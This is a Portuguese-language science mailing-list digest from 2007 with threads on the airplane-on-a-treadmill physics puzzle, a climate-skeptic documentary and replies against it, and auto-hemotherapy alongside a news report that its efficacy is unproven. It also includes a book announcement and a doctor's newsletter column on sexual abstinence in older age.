> entendendo nada
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > JC, onde vc viu escrito no enunciado que "o avião e a esteira se
> > > moverão em sentidos opostos *em relação ao chão*"?
> >
> > "...A esteira tem um sistema de controle que acompanha a velocidade do
> > avião e faz com que a esteira tenha exatamente a mesma velocidade
> > dele, na direção oposta."
> >
> > A menos que seja feita, explicitamente, a indicação de um referencial
> > que não seja o chão, para todos os efeitos o chão é sempre tomado como
> > referencial para problemas que envolvem movimentos próximos à
> > superfície terrestre.
> >
> >
> > Abraços,
> > JC
> >
> > > O que o enunciado afirma é que "Um avião está estacionado em uma
pista
> > > móvel".
> > > []s
> > > JR
> > > ................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Sunday, April 22, 2007 12:59 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > >
> > >
> > > Olá José Renato,
> > >
> > > Se o enunciado é:
> > >
> > > >>>>> Um avião está estacionado em uma pista móvel (como se
fosse uma
> > > > esteira rolante). O avião se move em uma direção, e a esteira na
> > > > direção oposta. A esteira tem um sistema de controle que
acompanha a
> > > > velocidade do avião e faz com que a esteira tenha exatamente a
> > > > mesma velocidade dele, na direção oposta. A pergunta é: o avião
> > > > vai conseguir decolar?<<<<<
> > >
> > > Então a resposta é simples: o avião decolará, pois como o próprio
> > > enunciado afirma o avião e a esteira se moverão em sentidos
opostos em
> > > relação ao chão. Se era só isso não sei porque tanta polêmica.
> > >
> > > Abraços,
> > > JC
>




SUBJECT: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 23/04/2007 23:52

"O Canal 4 britânico produziu um documentário devastador intitulado "A
Grande Fraude do Aquecimento Global"
(http://www.channel4.com/science/microsites/G/great_global_warming_swindle/index.html).
Ele não foi, ao que parece, exibido por nenhuma das redes de televisão
nos EUA. Mas, felizmente, ele está disponível na Internet.

Eminentes cientistas, especialistas em clima e em áreas relacionadas
ao clima, falam em linguagem simples e apresentam gráficos bastante
compreensíveis que mostram o contra-senso da histeria do aquecimento
global.

Dentre os cientistas, se incluem alguns do MIT e outros das melhores
universidades de outros países. Alguns desses são cientistas cujos
nomes são citados em publicações que promovem o aquecimento global –
mas que afirmam claramente que nunca escreveram o que essas
publicações descrevem e que não as aprovam.

Um dos cientistas ameaça processar uma das publicações, a menos que
seu nome seja retirado de lá. (...)"

(Texto original de Thomas Sowell em:
http://www.townhall.com/columnists/column.aspx?UrlTitle=global_warming_swindle&ns=ThomasSowell&dt=03/15/2007&page=full&comments=true)

Links para "A Grande Fraude do Aquecimento Global" no YouTube, em nove partes:
Parte 1:
http://www.youtube.com/watch?v=B3wfyfOiuE0
Parte 2:
http://www.youtube.com/watch?v=RC9IKSBE5Fg
Parte 3:
http://www.youtube.com/watch?v=5dm7yzm2Kg4
Parte 4:
http://www.youtube.com/watch?v=DXofX_95hUg
Parte 5:
http://www.youtube.com/watch?v=I_6hLGHYp6Q
Parte 6:
http://www.youtube.com/watch?v=d27C-OgeaFo
Parte 7:
http://www.youtube.com/watch?v=0C08xh7D5bA
Parte 8:
http://www.youtube.com/watch?v=4GwUjvTzzKw
Parte 9:
http://www.youtube.com/watch?v=P0AF14TCl3Q

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 00:04

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
> Eminentes cientistas, especialistas em clima e em áreas relacionadas
> ao clima, falam em linguagem simples e apresentam gráficos bastante
> compreensíveis que mostram o contra-senso da histeria do aquecimento
> global.

Daqui a trinta anos poderemos ver se é mm histeria.

[]s,

Roberto Takata



SUBJECT: Re: Documentário: "A Grande Fraude do Aquecimento Global"
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 00:12

Isso me lembra o caso do gás CFC. As indústrias produtoras também
criaram uma imensa polêmica sobre o poder do gás destruir a camada de
ozônio. Idem para o cigarro e o câncer de pulmão, para as bebidas e os
acidentes de trânsito, etc. etc. Onde tem dinheiro tem emprego para
sofista.

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
escreveu
>
> --- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@>
> > Eminentes cientistas, especialistas em clima e em áreas relacionadas
> > ao clima, falam em linguagem simples e apresentam gráficos bastante
> > compreensíveis que mostram o contra-senso da histeria do aquecimento
> > global.
>
> Daqui a trinta anos poderemos ver se é mm histeria.
>
> []s,
>
> Roberto Takata
>




SUBJECT: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão QUASE final!
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/04/2007 08:11

Olá JR,

>Luiz, acho que vc trocou JR por JC, não?<

não JR, naquela mensagem não troquei JR por JC; JC referia-se a Jesus Cristo e, por isso comecei assim: "JC nos informa:"

>O enunciado menciona especificamente a esteira, mas vc não quer considerá-la como referência aos movimentos!? Vc poderia explicar por que?<

Sim, claro, posso. O enunciado fala em movimento da esteira; ora direis ouvir estrelas, a esteira está em movimento em relação a quem? E esse 'quem', básico na questão, só poderia ser o "chão" do aeroporto onde foi instalada a esteira. Vc acha que o enunciado precisaria explicitar que a esteira se move em relação ao chão?
Se você colocar o referencial na esteira chegará à brilhante conclusão que: "o chão se move", o "aeroporto se move", o "ar se move", tudo se move em relação à esteira, EXCETO o avião, sobre o qual não podemos dizer nada! Ele poderá até estar 'parado' sobre a esteira (e portanto se movendo em relação ao chão e ao ar ... e vai decolar!).
E, observe, que se tomar a esteira como referencial, vc não poderá falar "que o chão se move para a 'esquerda' ou para a 'direita', pois vc não tem referência para falar qual é o sentido de movimento da esteira, já que ela é o referencial.

Agora vou lhe mostrar que, no ato de decolar, as rodas podem até estarem girando em sentido oposto 'ao normal'. Basta vc pensar que a esteira move-se (claro, em relação ao chão) no mesmo sentido do avião e com velocidade maior que a dele. Algo assim, avião para a direita a 100 km/h e esteira para a direita a 200 km/h; as rodas (vistas pelo mesmo observador) estarão girando em sentido 'anti-horário' (contrário ao giro normal que o avião teria na pista).
Ainda assim, com rodas sem derrapar, vc enxerga que a velocidade do ponto que o pneu toca a pista é ZERO! E que, no ponto mais alto do pneu, a velocidade é o dobro da velocidade da pista, ou seja, 400 km/h? E que o centro da roda tem mesma velocidade que o avião, ou seja, 100km/h?

Vc consegue enxergar uma roda cujo ponto mais baixo (o que toca na esteira) tem velocidade NULA, seu centro tenha velocidade de 100km/h e que seu ponto mais alto (diametralmente oposto ao ponto que toca a esteira) tenha velocidade de 400km/h?
Pois é, será assim mesmo no exemplo dado acima.

Observe como vc está longe do aspecto físico da questão ... e ainda insiste que o avião não voa, apesar de todas as explicações dadas.

Tente enxergar!

aquele abraço,


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "José Renato" <jrma@terra.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: segunda-feira, 23 de abril de 2007 21:47
Assunto: Re: [ciencialist] P/ JC - Re: Balanço do avião - Conclusão final!


Luiz, acho que vc trocou JR por JC, não?
A frase que vc destacou é para contrapor uma curiosidade. O enunciado não
fala no chão, mas vc e JC o consideraram como referencial aos movimentos! O
enunciado menciona especificamente a esteira, mas vc não quer considerá-la
como referência aos movimentos!?
Vc poderia explicar por que?
[]s
José Renato



SUBJECT: Re: [ciencialist] Re: Fw: Física
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/04/2007 08:37

Olá JC, no texto abaixo.
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================


>Oi Léo,
Puxei e puxo mesmo! Adoro puxar as orelhas alheias. :)<

Não me incomodo. Os 'alertas' são sempre bem vindos! Se bem que "errar é humano", bem longe de meu caso! :-)

>Mas, falando sério, nada contra postar as dúvidas dos consulentes
desde que se possa também postar as dúvidas do José Renato e do
Ferrari. A diferença entre eles não é assim tão grande quando se trata
de entender de "Física". :)<

Vc já imaginou eu indicando o GREF, Telecurso2000, Westhpal etc., para ambos? Jamais faria isso! Eu indicaria as páginas da bíblia, do Alcorão etc. para sanar quaisquer dúvidas científicas. Ainda bem que a arca de noé não decolou! Pobre dilúvio que 'cobriu toda a terra', onde estarão essas águas hoje? foram para o espaço? A terra subiu? Noé, pobre pescador, não poude nem pescar durante os 40 dias e noites --- pois só levou um casal de minhocas!
Para encerrar esse parágrafo: Ambos não têm dúvidas, eles têm certezas! O que dogmas não fazem com as pessoas!

>Recomende ao Cristian que baixe livros online de boa qualidade. Eles
podem baixar o livro do GREF e do Telecurso 2000 diretamente do meu
site em http://www.profjc.net/ (é só entrar na "Biblioteca Online",
menu da esquerda, e seguir o roteiro: biblioteca online -> alunos ->
material didático para consulta -> "escolha qual quiser"). Está tudo e
pdf.<

Essa é a resposta que darei ao consulente. Agradeço.

>Porém, sabemos que esses meninos não querem livros, querem respostas
prontas para as perguntas do professor. :)<

Não são só os alunos que não querem nada com nada! Já viu como os 'formandos' fazem seus TCCs atualmente? Tudo tercerizado ... os menos ruins copy/past!
Semana passada tive um professor de física perguntando o que vem a ser 'garrafa de leidim'.

>Além disso, Cinemática Escalar, ninguém merece mesmo! :))) Abraços, JC<

Eu tiraria a Cinemática do 1º ano do ensino médio; deixaria a óptica geométrica para iniciar o ano e complementaria o ano com estática e hidrostática (noção íntuitiva' de velocidade, quando necessário). Ou algo do gênero; cinemática é basicamente estudo das funções, coisa que o aluno poderia aprender (funções, noções de limite, derivada) na matemática do 1º ano.

aquele abraço,

Léo

===============


SUBJECT: Re: "A Grande Fraude do Aquecimento Global".UCFilho
FROM: "UCFilho" <ucfilho27182@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 11:20

Bom dia Ludwig e a todos,

trata-se de uma reportagem interessante, mas irrealista. O estudo do
efeito estufa tem Vênus como um referencial concreto ao invés de ser
uma especulação do que será a Terra no futuro.


Saudações. UCFilho


http://www.cdcc.sc.usp.br/cda/aprendendo-basico/sistema-
solar/venus.html
http://www.if.ufrj.br/teaching/astron/venus.html


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> "O Canal 4 britânico produziu um documentário devastador
intitulado "A
> Grande Fraude do Aquecimento Global"
>
(http://www.channel4.com/science/microsites/G/great_global_warming_swi
ndle/index.html).
> Ele não foi, ao que parece, exibido por nenhuma das redes de
televisão
> nos EUA. Mas, felizmente, ele está disponível na Internet.
>
> Eminentes cientistas, especialistas em clima e em áreas relacionadas
> ao clima, falam em linguagem simples e apresentam gráficos bastante
> compreensíveis que mostram o contra-senso da histeria do aquecimento
> global.
>
> Dentre os cientistas, se incluem alguns do MIT e outros das melhores
> universidades de outros países. Alguns desses são cientistas cujos
> nomes são citados em publicações que promovem o aquecimento global –
> mas que afirmam claramente que nunca escreveram o que essas
> publicações descrevem e que não as aprovam.
>
> Um dos cientistas ameaça processar uma das publicações, a menos que
> seu nome seja retirado de lá. (...)"
>
> (Texto original de Thomas Sowell em:
> http://www.townhall.com/columnists/column.aspx?
UrlTitle=global_warming_swindle&ns=ThomasSowell&dt=03/15/2007&page=ful
l&comments=true)
>
> Links para "A Grande Fraude do Aquecimento Global" no YouTube, em
nove partes:
> Parte 1:
> http://www.youtube.com/watch?v=B3wfyfOiuE0
> Parte 2:
> http://www.youtube.com/watch?v=RC9IKSBE5Fg
> Parte 3:
> http://www.youtube.com/watch?v=5dm7yzm2Kg4
> Parte 4:
> http://www.youtube.com/watch?v=DXofX_95hUg
> Parte 5:
> http://www.youtube.com/watch?v=I_6hLGHYp6Q
> Parte 6:
> http://www.youtube.com/watch?v=d27C-OgeaFo
> Parte 7:
> http://www.youtube.com/watch?v=0C08xh7D5bA
> Parte 8:
> http://www.youtube.com/watch?v=4GwUjvTzzKw
> Parte 9:
> http://www.youtube.com/watch?v=P0AF14TCl3Q
>
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: Re: [ciencialist] Re: Auto-Hemoterapia
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 12:35

È impressão minha ou temos um exemplo aqui de
"fundamentalismo cético" ou melhor dizendo
"fundamentalismo médico" ??

Se a técnica tem respaldo científico por que há quem
chame de "picaretagem"??

Parece que Lair Ribeiro estava certo ao dizer que a
maioria dos médicos não se mantém informados e só
sabem das novidades quando os representantes dos
laboratórios chegam em suas clínicas oferecendo seus
produtos. Talvez não preci$em de$$e tipo de coi$a :-).


--- rmtakata <roberto.takata@bol.com.br> escreveu:

> --- Em ciencialist@yahoogrupos.com.br, Chicao
> Valadares
> > Takata eu me lembro que vc já mandou algumas
> > referencias de artigo pra lista...
> > Poderias mandar novamente??
>
>
http://br.groups.yahoo.com/group/ciencialist/message/59606
>
> > Outra coisa: È verdade que não há comprovação
> > científica da eficácia da técnica??
>
> Pra câncer, não.
>
> []s,
>
> Roberto Takata
>
>


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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conforme as normas da empresa e a legislação em vigor. Agradecemos sua
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SUBJECT: Re: [ciencialist] Re: Auto-Hemoterapia
FROM: "Marcelo Cortimiglia" <cortimiglia@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 13:28

Prezados,

do ClicRBS:
http://www.clicrbs.com.br/clicnoticias/jsp/default.jsp?tab=00002&newsID=a1484039.htm&subTab=00026&uf=1&local=1&l=&template=2503.dwt&section=Not%EDcias

Abracos,

Marcelo Cortimiglia

Enfermeiras cobram R$ 5 por promessa de cura da Aids no RS
Vigilância Sanitária alerta que eficácia da hemoterapia não está comprovada

Enfermeiras do Hospital Nossa Senhora da Piedade, em Nova Palma, região
central do Rio Grande do Sul, estão oferecendo, por R$ 5, a promessa de cura
de doenças como Aids e câncer através da hemoterapia. A terapia é
considerada simples e barata e vem se tornando popular em várias regiões do
país.

As aplicações da hemoterapia ocorrem da seguinte forma: o sangue do paciente
é retirado e em seguida reinjetado no músculo do braço ou nas nádegas. O
processo é feito uma vez por semana e o atendimento é residencial.

No último dia 13, a Associação Nacional de Vigilância Sanitária divulgou
nota esclarecendo que não existem evidências científicas que comprovem a
eficácia e a segurança da auto-hemoterapia. O médico e professor em
Hematologia da PUCRS, Mario Sérgio Fernandes, vê o caso com muita
preocupação. Segundo ele, os pacientes que trocam o tratamento convencional
pela hemoterapia podem até perder a chance de cura em determinadas doenças.

O Conselho Regional de Enfermagem do Rio Grande do Sul prometeu investigar o
caso.
FELIPE DAROIT/RÁDIO GAÚCHA

Em 24/04/07, Chicao Valadares <chicaovaladares@yahoo.com.br> escreveu:
>
> È impressão minha ou temos um exemplo aqui de
> "fundamentalismo cético" ou melhor dizendo
> "fundamentalismo médico" ??
>
> Se a técnica tem respaldo científico por que há quem
> chame de "picaretagem"??
>
> Parece que Lair Ribeiro estava certo ao dizer que a
> maioria dos médicos não se mantém informados e só
> sabem das novidades quando os representantes dos
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>
> --- rmtakata <roberto.takata@bol.com.br <roberto.takata%40bol.com.br>>
> escreveu:
>
> > --- Em ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>,
> Chicao
> > Valadares
> > > Takata eu me lembro que vc já mandou algumas
> > > referencias de artigo pra lista...
> > > Poderias mandar novamente??
> >
> >
> http://br.groups.yahoo.com/group/ciencialist/message/59606
> >
> > > Outra coisa: È verdade que não há comprovação
> > > científica da eficácia da técnica??
> >
> > Pra câncer, não.
> >
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> > Roberto Takata
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SUBJECT: Em busca de uma nova ordem
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 14:04

Estou botando um livro na web. Trata-se de uma crítica às sociedades
modernas fundamentada na ciência cognitiva e antropologia biossocial.
Um fenômeno de grande importância está ocorrendo. A ciência está
chegando ao Homem - área que sempre foi campo de atuação das
"ciências" humanas e sociais, filosofia e religião. Embora ainda seja
cedo para aplicarmos esses novos conhecimentos às sociedades atuais,
com o conhecimento que já temos disponível podemos lançar um novo
olhar sobre a modernidade e elaborar uma nova crítica social.

A crítica não é inteiramente nova, e encontra ressonância no
pensamento de vários autores (Tocqueville, Nietzche, entre outros),
mas seu embasamento nas novas ciências do homem lhe dá um rigor e
credibilidade que outros que abordaram o assunto não têm. São
abordadas questões importantes do mundo atual que têm sido pouco
tratadas por outros autores.

Recomendo aos que tiverem interesse em avaliar a consistência do
texto e das idéias que leiam o capítulo 1 e o início do 2. O livro
esquenta na parte 2, quando trata da crise social, e mais ainda na
parte 3, que aborda a crise sexual. No capítulo 7 é apresentado um
elaborado modelo que procura explicar o comportamento político e
sexual das sociedades humanas. A parte 4 trata da busca por uma
utopia e pode ser ingênua em alguns momentos, mas apresenta idéias e
discussões interessantes.

Críticas serão muito bem vindas.

O livro já conta com a aprovação da Secretaria de Cultura do Rio de
Janeiro, que, através da lei de incentivo à cultura, permite que a
empresa patrocinadora desconte do ICMS 5/6 do valor dos custos de
publicação, que estão por volta de 27.000 reais.

http://www.geocities.com/novaordem2003/novaordem.htm

João de Carvalho.




SUBJECT: Re: Em busca de uma nova ordem
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 14:55

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
> Estou botando um livro na web.

Parabéns. (Pra download gratuito?)

> O livro já conta com a aprovação da Secretaria de Cultura do Rio de
> Janeiro, que, através da lei de incentivo à cultura, permite que a
> empresa patrocinadora desconte do ICMS 5/6 do valor dos custos de
> publicação, que estão por volta de 27.000 reais.

Pra qtos exemplares? Aqui em Sampa vc consegue - a partir de 1.000
cópias - um custo de 4 reais por exemplar (com 100 págs.): em gráfica
(não xerox).

[]s,

Roberto Takata



SUBJECT: MARCELO LEITE LANÇA LIVRO HOJE
FROM: "Medeiros, Alexandre Pimentel Cabral de" <Alexandre.Medeiros@Consultmail.net>
TO: "SBCR" <sbcr@yahoogrupos.com.br>, "Ciencialist" <ciencialist@yahoogrupos.com.br>, "CienciaCidadania" <CienciaCidadania@yahoogrupos.com.br>
DATE: 24/04/2007 14:56

CIÊNCIA E SOCIEDADE
MARCELO LEITE LANÇA LIVRO SOBRE GENOMA
O jornalista e cientista social Marcelo Leite, colunista da Folha, autografa hoje à noite em São Paulo seu livro "Promessas do Genoma" (Editora da Unesp), resultado de sua tese de doutorado na Unicamp. O lançamento acontece a partir das 19h na Livraria Cultura do Conjunto Nacional (Av. Paulista, 2.073).

http://www1.folha.uol.com.br/fsp/ciencia/fe2404200705.htm





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Em busca de uma nova ordem
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/04/2007 17:13

R. Takata informa:

> Aqui em Sampa vc consegue - a partir de 1.000
cópias - um custo de 4 reais por exemplar (com 100 págs.): em gráfica
(não xerox).<

Estou super-interessado nisso! Pode me enviar (PVT) mais dados? A Livraria da Física tá super-morosa na publicação do primeiro volume (dos 15) do Feira de Ciências. Essa informação acima resolveria meu problema.

agradeço,

[]'


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================


SUBJECT: ABSTINÊNCIA SEXUAL
FROM: Alessandro Loiola <alessandroloiola@yahoo.com.br>
TO: alessandroloiola@yahoo.com.br
DATE: 24/04/2007 21:49

___________________________________________________________________
DR. ALESSANDRO LOIOLA – SAÚDE PARA TODOS - 24/04/2007 - No.048

http://br.groups.yahoo.com/group/saudeparatodos
© Dr. Alessandro Loiola - mailto: alessandroloiola@yahoo.com.br

Convide seus amigos para uma dose diária de saúde (assinar ou cancelar no final).

___________________________________________________________________

Olá,

Graças à participação em um grupo de discussão sobre Gerontologia, recebi algumas dezenas de emails esta semana com relatos e perguntas sobre sexualidade na Terceira Idade. Muitos traziam dúvidas relacionadas à Abstinência Sexual.

Como acredito que este seja um tópico de interesse mais amplo, achei por bem fazer um resumo das idéias trocadas e das pesquisas mais recentes sobre o tema. O resultado você pode conferir na crônica de hoje. Espero que seja uma boa leitura.

Um abraço,


Dr. Alessandro Loiola.

___________________________________________________________________


Abstinência Sexual

© Dr. Alessandro Loiola


Passo metade do dia atendendo pacientes, metade do dia escrevendo e metade do dia atendendo pacientes. Quer dizer, uma matemática simples irá mostrar que estão faltando 12h no meu dia.

Antes que passe pela sua cabeça que esse workaholismo todo foi o que motivou o título da crônica de hoje, bom, vá com calma. Deixe-me pelo menos apresentar as preliminares.

Noite dessas, entre um atendimento de emergência e o seguinte, pintou o assunto “sexo”. Sabe como é: sobre o quê um bando de pessoas de plantão pode conversar, às 2:35 da madrugada, para ficar 100% acordado e alerta enquanto a próxima urgência anunciada não chega? Sexo.

A discussão daquela noite surgiu quando uma das enfermeiras relatou para um pequeno grupo uma conversa que havia tido com a mãe. Em um acesso de sinceridade, ela se queixou que há muitos e muitos anos não “aprontava mais nada”. A filha ficou horrorizada. Afinal de contas, é de se esperar que “viúvas de respeito não pensem mais nessas coisas, né doutor?”.

O vigia ao lado de uma maca completou: “Depois de uma determinada idade, a gente tem que desistir de certas coisas. É a vida!”.

Tentei argumentar, em vão. Era aquela história: você está completamente certo enquanto estiver concordando comigo. E minha opinião sobre o assunto não parecia concordar em coisa alguma com as idéias que a enfermeira fazia para a vida sexual da mãe, ou as previsões do vigia para o seu próprio e sombrio futuro na cama.

Infelizmente, as pessoas ainda preferem o apego estável dos velhos conceitos ao velório temporário da certeza. Um dos melhores exemplos disso é a noção geral de que o termo “velhice” seja algum tipo de sinônimo para “assexuado”.

A sexualidade não está relacionada à sua capacidade reprodutora ou status marital: ela lhe acompanhará por muitos anos, mesmo quando você não for mais capaz de ter filhos ou estiver viúvo ou viúva. Na Terceira Idade, a maioria das pessoas deseja e continua a ter uma vida sexual ativa e prazerosa. Quando isto não é possível, resigna-se na tangente da abstinência.

Mas até que ponto a abstinência sexual (voluntária ou não) pode fazer mal?

Considere o seguinte: seu corpo é constituído por 5 sistemas - cardiovascular, respiratório, digestivo, urinário e genital. Se, até a hora de morrer, você continuará a ter batimentos cardíacos e movimentos respiratórios, digerindo sua comida e produzindo excretas, porque então deveria abrir mão da função do aparelho genital?

Que me critiquem os puritanos: tenho a consciência tranqüila, não inventei o sexo, sou um mero usuário. Aqueles que tiverem reclamações, que as façam diretamente junto ao Fabricante.

O que se sabe, cientificamente, é que breves períodos de abstinência sexual nos homens resultam em aumento no volume e na potência do sêmen: três dias de abstinência completa são capazes de dobrar o volume do esperma, mas este efeito diminui e até mesmo se inverte após 7-10 dias.

Nas mulheres, a abstinência sexual prolongada pode resultar em ressecamento e perda da elasticidade dos tecidos vaginais. Se a abstinência durar vários anos, o fechamento do canal vaginal pode chegar a um ponto em que a relação sexual se torna praticamente impossível.

Apesar das alterações anatômicas e fisiológicas, o problema maior da Abstinência Sexual está na medida em que isso significa abster-se de um contato mais íntimo com outra pessoa. Este isolamento forçado, além de ser contra a nossa própria natureza humana (quem é uma ilha?), pode resultar em graves conseqüências psíquicas, como baixa auto-estima, melancolia e depressão de difícil tratamento.

O segredo da satisfação (sexual inclusive) estará sempre em algum ponto entre ter demais e não ter coisa alguma - a vida, assim como a felicidade, exige equilíbrio, não extremos.


---
Dr. Alessandro Loiola é médico, escritor, palestrante, autor de “Vida e Saúde da Criança” e “Crianças em forma: saúde na balança” (www.editoranatureza.com.br). Atualmente reside e clinica em Belo Horizonte, Minas Gerais.

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SUBJECT: Re: Em busca de uma nova ordem
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 24/04/2007 22:53

Parabéns, João!

Andei dando uma "folheada", o bastante para perceber que você escreve
muito bem, é culto e, como poucos, sabe articular as idéias.

Só não entendi uma coisa: se você expôs todo o texto na internet,
como ainda pretende publicar o livro?

Abraços,
Manuel Bulcão
__________________

--- Em ciencialist@yahoogrupos.com.br, "Joao de Carvalho"
<joaobncarvalho@...> escreveu
>
> Estou botando um livro na web. Trata-se de uma crítica às
sociedades
> modernas fundamentada na ciência cognitiva e antropologia
biossocial.
> Um fenômeno de grande importância está ocorrendo. A ciência está
> chegando ao Homem - área que sempre foi campo de atuação das
> "ciências" humanas e sociais, filosofia e religião. Embora ainda
seja
> cedo para aplicarmos esses novos conhecimentos às sociedades
atuais,
> com o conhecimento que já temos disponível podemos lançar um novo
> olhar sobre a modernidade e elaborar uma nova crítica social.
>
> A crítica não é inteiramente nova, e encontra ressonância no
> pensamento de vários autores (Tocqueville, Nietzche, entre outros),
> mas seu embasamento nas novas ciências do homem lhe dá um rigor e
> credibilidade que outros que abordaram o assunto não têm. São
> abordadas questões importantes do mundo atual que têm sido pouco
> tratadas por outros autores.
>
> Recomendo aos que tiverem interesse em avaliar a consistência do
> texto e das idéias que leiam o capítulo 1 e o início do 2. O livro
> esquenta na parte 2, quando trata da crise social, e mais ainda na
> parte 3, que aborda a crise sexual. No capítulo 7 é apresentado um
> elaborado modelo que procura explicar o comportamento político e
> sexual das sociedades humanas. A parte 4 trata da busca por uma
> utopia e pode ser ingênua em alguns momentos, mas apresenta idéias
e
> discussões interessantes.
>
> Críticas serão muito bem vindas.
>
> O livro já conta com a aprovação da Secretaria de Cultura do Rio de
> Janeiro, que, através da lei de incentivo à cultura, permite que a
> empresa patrocinadora desconte do ICMS 5/6 do valor dos custos de
> publicação, que estão por volta de 27.000 reais.
>
> http://www.geocities.com/novaordem2003/novaordem.htm
>
> João de Carvalho.
>




SUBJECT: Re: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo nada
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 24/04/2007 22:54

Caro, Homero! Respondo seus comentários no corpo do e-mail abaixo após JR -.
................................

From: "oraculo333" <oraculo@To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, April 23, 2007 11:17 PM
Subject: [ciencialist] P/ Renato - Re: Balanço do avião - Não to entendendo
nada


Olá Jose Renato

Renato: "Esta chegando a hora da verdade. "

Não Renato, ela chegou, passou, e só você não percebeu, nem entendeu
nada. Infelizmente. Todos já compreenderam, inclusive os que
inicialmente foram "pegos" pelo problema, como o Leo, que na verdade
tinha essa intenção, usar um "red hering" de chamariz, a esteira, e
confundir nossa percepção.
Com os exemplos e explicações todos, com uma única exceção,
compreenderam o erro. E veja você, quem é a exceção, você..:-)
JR - E o que isso demonstra? Apenas quatro possibilidades: eu posso estar
errado sozinho e vcs certos ou vc e os demais estão errados juntos e eu
certo; estamos todos errados ou estamos todos certos. Desde Aristarco de
Samos (310-230 a.C.) aprendemos que a interpretação de movimentos relativos
depende do ponto de referencia a partir do qual se mede o desenvolvimento
dos movimentos. Ele percebeu que a Terra girava em si mesma e não o Sol em
torno da Terra. Ele propôs o heliocentrismo que hoje nos parece algo tão
simples. Mas devido à dificuldade das pessoas entenderem, sua proposta só
foi aceita quando Copérnico, em 1543, a defendeu timidamente e Galileu, em
1610, conseguiu despertar o mundo para as sutilezas das interações entre
movimentos. Imagino o que a astronomia e o pensamento humano poderia ter-se
desenvolvido se as pessoas tivessem entendido isso já naquela época,
dezenove séculos antes?

Renato: "Exemplo simples: se o ar-vento acelerasse e se deslocasse na
mesma velocidade e sentido do avião?"

Resposta simples, o avião decolaria, NÃO IMPORTA sobre o que
estivesse, se chão ou esteira, se a esteira se move ou não. Se o ar
acelerasse, e atingisse a velocidade de decolagem, ele decolaria.
JR - Acho que, mais uma vez, mesmo com um enunciado facílimo vc não
conseguiu entender o problema. Sua resposta está errada. O avião, se
deslocando na mesma velocidade e sentido ao do vento, não cria diferencial
de pressão nas asas para lhe dar a sustentação de vôo. Ele não voa...
Difícil?!

Já voou de asa delta ou paraglider? Eu já, e é exatamente isso que
acontece. Em dias com bastante vento, ficamos de frente para a rampa,
esperamos que o vento atinja a velocidade correta, e "decolamos", sem
necessidade de dar um único passo para frente.
JR - Mas nesse caso o vento está soprando com velocidade em *sentido
contrário* ao do vôo. Acorde, Homero!

A asa ou o glider simplesmente "flutuam", voam, a partir do
deslocamento do ar. E aconteceria o mesmo ainda que o piloto estivesse
de patins sobre uma esteira de academia..:-)

Até SEUS exemplos indicam que está errado, Renato, mas insiste em
discutir esse erro.
JR - Parece-me que vc está com sérios problemas de interações e
raciocínio...

Renato: "Apenas estou mostrando a vc e aos demais que é importante
estar lúcido para perceber as possibilidades que este ou qualquer
outro problema apresenta. "

Não, está apenas teimando e teimando, movido por uma cegueira
impressionante e um apego religioso ao um erro (não me admira que seja
religioso, tem o perfil psicologico correto). O que pensa ser
"lucidez" é apenas cegueira mesmo.

Renato: "Fica melhor assumir que vc não percebeu totalmente o
problema, em vez de vir enrolando com desculpas e propostas tolas, na
tentativa de confundir os menos atentos. Só depende de você..."

